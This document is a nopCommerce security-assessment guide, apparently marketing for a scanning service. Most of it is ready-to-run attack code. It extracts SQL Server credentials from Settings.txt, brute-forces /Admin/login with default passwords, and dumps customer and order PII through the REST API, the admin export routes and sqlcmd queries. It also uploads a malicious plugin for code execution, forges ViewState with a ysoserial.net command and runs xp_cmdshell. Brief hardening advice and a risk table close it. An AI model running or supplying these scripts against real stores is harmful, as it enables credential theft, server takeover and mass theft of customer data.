nopCommerce is the most widely deployed open-source .NET e-commerce platform — built on ASP.NET Core and SQL Server, it processes payment data and stores customer PII at scale. Key assessment areas: App_Data/Settings.txt exposes the SQL Server connection string in plaintext including the sa password; the REST API uses static Nop-Api-Key header tokens with no expiry; the admin panel at /Admin is brute-forceable; plugin upload functionality allows arbitrary .NET assembly execution; and the ASP.NET MachineKey in web.config enables ViewState forgery and insecure deserialization attacks. This guide covers systematic nopCommerce security assessment.
NopCommerce stores all configuration in App_Data/Settings.txt — a plaintext file that includes the full SQL Server connection string with credentials. Unlike PHP platforms that use PHP-parsed config files, this is raw key-value text that is trivially readable if the directory is web-accessible or if file system access is obtained. The connection string commonly includes the sa (SQL Server system administrator) account or a dedicated SQL login with db_owner rights over the nopCommerce database.
# nopCommerce — App_Data/Settings.txt SQL Server credential extraction
NOP_URL="https://shop.example.com"
# Settings.txt — nopCommerce main configuration file (CRITICAL)
# Contains DataProvider and DataConnectionString in plaintext
cat /var/www/nopcommerce/App_Data/Settings.txt 2>/dev/null
# Returns key=value pairs:
# DataProvider=sqlserver
# DataConnectionString=Server=.;Database=nopcommerce;User Id=sa;Password=PLAINTEXT_PASSWORD;
# Extract connection string components
python3 -c "
import re
content = open('/var/www/nopcommerce/App_Data/Settings.txt').read()
patterns = {
'data_provider': r'DataProvider=(.+)',
'connection_string': r'DataConnectionString=(.+)',
'server': r'Server=([^;]+)',
'database': r'Database=([^;]+)',
'user': r'User Id=([^;]+)',
'password': r'Password=([^;]+)',
}
for name, pattern in patterns.items():
m = re.search(pattern, content, re.IGNORECASE)
if m:
print(f'{name}: {m.group(1).strip()[:80]}')
" 2>/dev/null
# Test web-accessible App_Data directory (misconfigured IIS or nginx)
curl -si "${NOP_URL}/App_Data/Settings.txt" | head -5
# If 200 OK — direct credential disclosure without authentication
# Also check for database backup files commonly left in App_Data
curl -si "${NOP_URL}/App_Data/nopcommerce.bak" | head -3
curl -si "${NOP_URL}/App_Data/database.bak" | head -3
The nopCommerce admin panel is located at /Admin by default and is not path-randomized like Magento's backend frontName. The setup wizard accepts an admin email and password during installation — commonly admin@yourstore.com with a weak password, or the store owner's email with a guessable credential. There is no built-in account lockout by default in older nopCommerce versions, making credential brute-force viable against installations that have not hardened their configuration.
# nopCommerce — admin panel discovery and credential brute-force
NOP_URL="https://shop.example.com"
# Admin panel path discovery
for PATH in "/Admin" "/admin" "/Admin/login" "/nopAdmin" "/backend"; do
STATUS=$(curl -so /dev/null -w "%{http_code}" "${NOP_URL}${PATH}" 2>/dev/null)
echo "${STATUS} — ${NOP_URL}${PATH}"
done
# 200 or 302 to /Admin/login indicates accessible admin panel
# Retrieve anti-forgery token (ASP.NET Core requires this for form POST)
ADMIN_LOGIN_URL="${NOP_URL}/Admin/login"
RESPONSE=$(curl -sc /tmp/nop_cookies.txt -s "${ADMIN_LOGIN_URL}" 2>/dev/null)
CSRF_TOKEN=$(echo "$RESPONSE" | grep -oP 'name="__RequestVerificationToken" value="\K[^"]+' | head -1)
echo "CSRF token: ${CSRF_TOKEN:0:40}..."
# Test default and common admin credentials
for CRED in \
"admin@yourstore.com:admin" \
"admin@yourstore.com:admin123" \
"admin@yourstore.com:password" \
"admin@yourstore.com:nopcommerce" \
"admin@example.com:admin123"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
HTTP_CODE=$(curl -so /dev/null -w "%{http_code}" \
-b /tmp/nop_cookies.txt \
-c /tmp/nop_cookies.txt \
-X POST "${ADMIN_LOGIN_URL}" \
--data-urlencode "Email=${EMAIL}" \
--data-urlencode "Password=${PASS}" \
--data-urlencode "__RequestVerificationToken=${CSRF_TOKEN}" \
-L 2>/dev/null | tail -1)
# Successful login redirects to /Admin/ (200 on admin dashboard, not login page)
LOCATION=$(curl -so /dev/null -w "%{redirect_url}" \
-b /tmp/nop_cookies.txt -c /tmp/nop_cookies.txt \
-X POST "${ADMIN_LOGIN_URL}" \
--data-urlencode "Email=${EMAIL}" \
--data-urlencode "Password=${PASS}" \
--data-urlencode "__RequestVerificationToken=${CSRF_TOKEN}" 2>/dev/null)
echo "${EMAIL}:${PASS} — redirect: ${LOCATION}"
done
NopCommerce ships with a REST API plugin (available from nopCommerce 4.20+) that authenticates via a static Nop-Api-Key header. API keys are created in the admin panel under Configuration > API and stored in the database with no automatic expiry. A compromised admin account or SQL Server access exposes all API keys, each granting programmatic access to customers, orders, and products. The API supports paginated enumeration of all customer records and order data without rate limiting by default.
# nopCommerce REST API — key enumeration and customer data extraction
NOP_URL="https://shop.example.com"
API_KEY="extracted-or-discovered-api-key"
# Confirm API is enabled and key is valid
curl -si "${NOP_URL}/api/customers?limit=1&page=1" \
-H "Nop-Api-Key: ${API_KEY}" 2>/dev/null | head -10
# Enumerate all customers — paginated
curl -s "${NOP_URL}/api/customers?limit=50&page=1" \
-H "Nop-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json, sys
d = json.load(sys.stdin)
customers = d.get('customers', [])
print(f'Customers returned: {len(customers)}')
for c in customers[:10]:
print(f' ID {c.get(\"id\")} — {c.get(\"email\")} — {c.get(\"first_name\")} {c.get(\"last_name\")}')
" 2>/dev/null
# Enumerate all orders
curl -s "${NOP_URL}/api/orders?limit=50" \
-H "Nop-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json, sys
d = json.load(sys.stdin)
orders = d.get('orders', [])
print(f'Orders returned: {len(orders)}')
for o in orders[:5]:
print(f' Order #{o.get(\"id\")} — {o.get(\"billing_address\", {}).get(\"email\")} — \${o.get(\"order_total\")}')
" 2>/dev/null
# Extract API keys from database (once SQL Server access obtained)
sqlcmd -S localhost -U sa -P "extracted-password" -d nopcommerce -Q "
SELECT Id, SystemName, Token, Enabled, AllowedCorsDomains
FROM ApiClient
WHERE Enabled = 1;" 2>/dev/null
NopCommerce's plugin architecture allows admin users to upload ZIP archives containing compiled .NET assemblies (.dll files) that are loaded directly into the application process. There is no signature verification or code review gate — any valid nopCommerce plugin package uploaded by an admin user will be installed and its code will execute within the ASP.NET Core process context. This makes admin access equivalent to remote code execution. Unlike PHP webshells, a malicious nopCommerce plugin runs as a fully trusted .NET assembly with access to the entire server environment.
# nopCommerce — plugin upload remote code execution assessment
NOP_URL="https://shop.example.com"
ADMIN_COOKIE="extracted-session-cookie"
# Plugin upload endpoint — requires admin session
# Admin panel: Configuration > Local plugins > Upload plugin or theme
# POST /Admin/Plugin/Upload with multipart ZIP archive
# Check plugin upload endpoint accessibility
curl -si "${NOP_URL}/Admin/Plugin/Upload" \
-H "Cookie: ${ADMIN_COOKIE}" 2>/dev/null | head -5
# Craft a malicious plugin: a nopCommerce plugin ZIP must contain:
# /plugin.json — plugin manifest with SystemName, Version, etc.
# /MyPlugin.dll — compiled .NET assembly implementing IPlugin
# The IPlugin.Install() method runs on installation
# Minimal plugin.json manifest
cat > /tmp/plugin.json << 'EOF'
{
"SystemName": "Misc.EvilPlugin",
"FriendlyName": "EvilPlugin",
"Version": "1.0.0",
"SupportedVersions": ["4.60"],
"Author": "Tester",
"Group": "Misc"
}
EOF
# Upload malicious plugin ZIP
curl -s -X POST "${NOP_URL}/Admin/Plugin/Upload" \
-H "Cookie: ${ADMIN_COOKIE}" \
-H "X-Requested-With: XMLHttpRequest" \
-F "pluginzip=@/tmp/malicious_plugin.zip" \
2>/dev/null
# After upload — install the plugin to trigger code execution
curl -s -X POST "${NOP_URL}/Admin/Plugin/Install" \
-H "Cookie: ${ADMIN_COOKIE}" \
-d "systemName=Misc.EvilPlugin" 2>/dev/null
# NopCommerce plugin DLLs are loaded from:
ls /var/www/nopcommerce/Plugins/ 2>/dev/null
The nopCommerce admin panel includes built-in export functionality that dumps the entire customer database and full order history to XML or Excel format. These exports include names, email addresses, billing addresses, phone numbers, and purchase history for every customer — all accessible with a single HTTP request from an authenticated admin session. The export endpoints are standard admin routes with no additional authorization gate beyond the admin session cookie.
# nopCommerce — admin bulk export and order data enumeration
NOP_URL="https://shop.example.com"
ADMIN_COOKIE="extracted-session-cookie"
# Export all customers to XML (includes email, name, address, registration date)
curl -s "${NOP_URL}/Admin/Customer/ExportXML" \
-H "Cookie: ${ADMIN_COOKIE}" \
-o /tmp/nop_customers.xml 2>/dev/null
wc -l /tmp/nop_customers.xml
# Count records in export
grep -c "" /tmp/nop_customers.xml 2>/dev/null
# Export all customers to Excel
curl -s "${NOP_URL}/Admin/Customer/ExportExcel" \
-H "Cookie: ${ADMIN_COOKIE}" \
-o /tmp/nop_customers.xlsx 2>/dev/null
# Export all orders to XML (includes order totals, billing address, payment method)
curl -s "${NOP_URL}/Admin/Order/ExportXML" \
-H "Cookie: ${ADMIN_COOKIE}" \
-o /tmp/nop_orders.xml 2>/dev/null
# Export all orders to Excel
curl -s "${NOP_URL}/Admin/Order/ExportExcel" \
-H "Cookie: ${ADMIN_COOKIE}" \
-o /tmp/nop_orders.xlsx 2>/dev/null
# Admin order list — search all orders for enumeration
curl -s "${NOP_URL}/Admin/Order/OrderList" \
-H "Cookie: ${ADMIN_COOKIE}" \
-H "X-Requested-With: XMLHttpRequest" \
-d "draw=1&start=0&length=100" 2>/dev/null | python3 -c "
import json, sys
d = json.load(sys.stdin)
print(f'Total orders: {d.get(\"recordsTotal\")}')
" 2>/dev/null
Older nopCommerce deployments running on ASP.NET (pre-Core) or mixed environments expose the ASP.NET MachineKey in web.config. The MachineKey is used to cryptographically sign and encrypt ViewState, authentication tickets, and session tokens. An attacker who obtains the MachineKey can forge arbitrary ViewState values, craft malicious authentication cookies, and — critically — trigger insecure deserialization of .NET objects via specially crafted ViewState payloads, achieving remote code execution without any authentication. Tools like ysoserial.net automate this attack chain.
# nopCommerce — MachineKey extraction and ViewState security assessment
NOP_URL="https://shop.example.com"
# web.config — contains MachineKey (critical for ASP.NET classic / hybrid deployments)
cat /var/www/nopcommerce/web.config 2>/dev/null | grep -A3 "machineKey"
#
# validationKey: used to HMAC-sign ViewState, auth cookies, session IDs
# decryptionKey: used to AES-encrypt encrypted ViewState and auth cookies
# Extract MachineKey values
python3 -c "
import re
content = open('/var/www/nopcommerce/web.config').read()
patterns = {
'validationKey': r'validationKey=\"([^\"]+)\"',
'decryptionKey': r'decryptionKey=\"([^\"]+)\"',
'validation': r'validation=\"([^\"]+)\"',
'decryption': r'decryption=\"([^\"]+)\"',
}
for name, pat in patterns.items():
m = re.search(pat, content, re.IGNORECASE)
if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# ViewState forgery + deserialization attack using ysoserial.net (Windows attacker)
# Generate malicious ViewState payload that executes a command:
# ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami > C:\inetpub\wwwroot\out.txt" \
# --validationalg="SHA1" --validationkey="EXTRACTED_VALIDATIONKEY" \
# --generator="GENERATOR_ID" --viewstateuserkey="" --isdebug --islegacy
# Test for debug mode exposure — reveals detailed .NET stack traces
curl -s "${NOP_URL}/Admin/nonexistent-page" -H "Cookie: ${ADMIN_COOKIE}" 2>/dev/null | \
grep -i "stack trace\|System\.\|at nop\." | head -5
# Check web.config accessibility (should return 403 on IIS)
curl -si "${NOP_URL}/web.config" | head -3
curl -si "${NOP_URL}/App_Data/Settings.txt" | head -3
# IIS blocks these by default but nginx/Apache proxies may not
Once SQL Server credentials are extracted from App_Data/Settings.txt, the nopCommerce database exposes the full e-commerce dataset: all customer records with hashed passwords, all order history with billing addresses, payment method records, and admin user credentials. The Customer table stores bcrypt password hashes and all registered customer emails. If the SQL Server service account has sysadmin rights — common with the sa account — the attacker can also execute xp_cmdshell to run operating system commands.
# nopCommerce SQL Server database enumeration
SA_PASS="extracted-from-Settings.txt"
sqlcmd -S localhost -U sa -P "${SA_PASS}" -d nopcommerce 2>/dev/null << 'EOF'
-- Admin users with hashed passwords
SELECT Id, Username, Email, Password, PasswordSalt, PasswordFormat,
Active, CreatedOnUtc
FROM Customer
WHERE IsSystemAccount = 0
AND (Username = 'admin' OR Email LIKE '%admin%')
ORDER BY CreatedOnUtc;
-- PasswordFormat: 0=Clear, 1=Hashed, 2=Encrypted
-- All customer PII
SELECT TOP 100 Id, Username, Email, Active,
LastIpAddress, CreatedOnUtc, LastLoginDateUtc
FROM Customer
WHERE IsSystemAccount = 0
ORDER BY CreatedOnUtc DESC;
-- Billing address data from orders
SELECT TOP 50 o.Id, o.OrderGuid, o.CustomerId,
a.Email, a.FirstName, a.LastName, a.Address1, a.City, a.ZipPostalCode,
o.OrderTotal, o.PaymentMethodSystemName, o.CreatedOnUtc
FROM [Order] o
JOIN Address a ON o.BillingAddressId = a.Id
ORDER BY o.CreatedOnUtc DESC;
-- API client keys (for REST API access)
SELECT Id, SystemName, Token, Enabled
FROM ApiClient
WHERE Enabled = 1;
-- Connection string confirms SQL Server sysadmin rights
EXEC xp_cmdshell 'whoami'; -- succeeds if sa has sysadmin role (RCE via MSSQL)
EOF
/App_Data/; use a dedicated SQL Server login with minimum required permissions (db_datareader, db_datawriter, db_ddladmin) rather than the sa account — this limits the blast radius if credentials are exposed and prevents xp_cmdshell abuse which requires sysadmin role; rotate SQL Server credentials immediately if Settings.txt was web-accessibleaspnet_regiis -ga or the IIS MachineKey generation UI to create a cryptographically random key; store the MachineKey using DPAPI-protected configuration rather than plaintext web.config where possible; rotate the MachineKey immediately if web.config was exposed — all existing session tokens, auth cookies, and ViewState signatures issued under the old key must be invalidated by restarting the application, which forces re-authentication for all users| Security Test | Method | Risk |
|---|---|---|
| App_Data/Settings.txt SQL Server connection string web exposure | GET /App_Data/Settings.txt — plaintext DataConnectionString including SQL Server User Id and Password; sa credentials grant full database access and potential xp_cmdshell RCE | Critical |
| Plugin upload remote code execution via malicious .NET assembly | POST /Admin/Plugin/Upload — arbitrary .NET DLL execution within ASP.NET Core process; requires admin session; full server access including environment variables and file system | Critical |
| MachineKey extraction enabling ViewState deserialization RCE | Read web.config validationKey/decryptionKey — forge ViewState with ysoserial.net TypeConfuseDelegate gadget; unauthenticated RCE on classic ASP.NET deployments with exposed MachineKey | Critical |
| Admin credential brute-force (admin@yourstore.com/admin) | POST /Admin/login — no default lockout; full customer PII access, order history, API key management, plugin upload capability | High |
| REST API key enumeration via Nop-Api-Key header | GET /api/customers, GET /api/orders with extracted key — bulk customer PII and order data enumeration; keys have no expiry | High |
| Admin bulk export — full customer and order dump | GET /Admin/Customer/ExportXML, /Admin/Order/ExportExcel — single-request export of all customer PII and order history; no additional authorization beyond admin session | High |
| SQL Server xp_cmdshell OS command execution via sa credentials | sqlcmd EXEC xp_cmdshell 'whoami' — OS command execution if sa has sysadmin role; credentials extracted from Settings.txt | Critical |
Ironimo tests nopCommerce deployments for App_Data/Settings.txt web-accessible SQL Server credential exposure, admin panel discovery and credential brute-force at /Admin/login, REST API key validity and customer/order data enumeration via Nop-Api-Key, plugin upload endpoint accessibility, MachineKey extraction from web.config for ViewState deserialization risk assessment, admin bulk export endpoint access (ExportXML/ExportExcel), and xp_cmdshell RCE potential via sa credentials. Run automated .NET e-commerce security scans without manual setup.
Start free scan